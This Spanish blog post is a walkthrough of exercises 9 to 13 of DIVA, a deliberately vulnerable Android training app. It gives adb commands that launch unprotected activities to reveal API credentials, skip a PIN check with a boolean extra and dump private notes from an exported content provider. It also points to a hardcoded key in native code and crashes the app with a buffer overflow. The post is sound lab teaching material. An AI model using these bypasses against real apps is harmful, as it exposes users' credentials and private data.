← Volver al inicio
DIVA Android ADB Buffer Overflow Content Provider Seguridad Móvil

DIVA Avanzado: Control de Acceso y Buffer Overflow

20/04/2022

Profundización en la auditoría de DIVA: ejercicios 9 al 13, cubriendo bypass de control de acceso, credenciales de API, Content Providers y desbordamiento de buffer en código nativo.

Ejercicio 9 — Acceso a credenciales de API sin autenticación

La actividad que muestra las credenciales de API puede invocarse directamente desde fuera de la app:

# Identificar el administrador de actividades con logcat:
adb shell logcat | grep "APICreds"

# Cerrar DIVA completamente, luego invocar la actividad:
am start -n jakhar.aseem.diva/.APICreds1Activity

Resultado: las credenciales de API se muestran sin ninguna autenticación desde cualquier otra app.

Ejercicio 10 — Bypass de PIN con parámetro booleano

La actividad APICreds2Activity usa un booleano check_pin para decidir si muestra el PIN. Pasamos false para saltarnos la verificación:

# Deshabilitar la verificación de PIN:
am start -n jakhar.aseem.diva/.APICreds2Activity --ez check_pin false

# --ez  → introduce un extra booleano (Extra Boolean)
# false → deshabilita la verificación del PIN

Ejercicio 11 — Content Provider sin protección

Las notas privadas se almacenan en un Content Provider exportado sin autenticación (android:exported="true"). Se puede consultar directamente:

# Consultar el Content Provider desde adb:
content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes

# Devuelve todas las notas privadas sin necesitar el PIN

Ejercicio 12 — Clave hardcodeada en librería nativa

La app usa una clase JNI (DivaJni) que llama a código nativo en C. La clave está en texto plano en la librería:

# Ruta de la librería nativa:
app/src/main/jni/divajni.c

# La clave aparece sin cifrar en el código C
# Probarla directamente en la app da acceso

Ejercicio 13 — Buffer Overflow en código nativo

La función nativa initialLaunchSequence define CODESIZEMAX 20. Al introducir más de 20 caracteres se produce un desbordamiento de buffer:

# La constante en divajni.c:
#define CODESIZEMAX 20

# Al introducir más de 20 caracteres:
# → Desbordamiento de buffer
# → La app se bloquea (crash/DoS)

# Esto simula cómo un atacante puede crashear la app
# o en casos reales, ejecutar código arbitrario

Resumen de ejercicios

EjercicioVulnerabilidadTécnica
9Broken Access Controlam start directo
10Broken Access Control + PIN bypassam start --ez false
11Content Provider insegurocontent query URI
12Hardcoded key en JNIAnálisis de .c nativo
13Buffer OverflowInput > CODESIZEMAX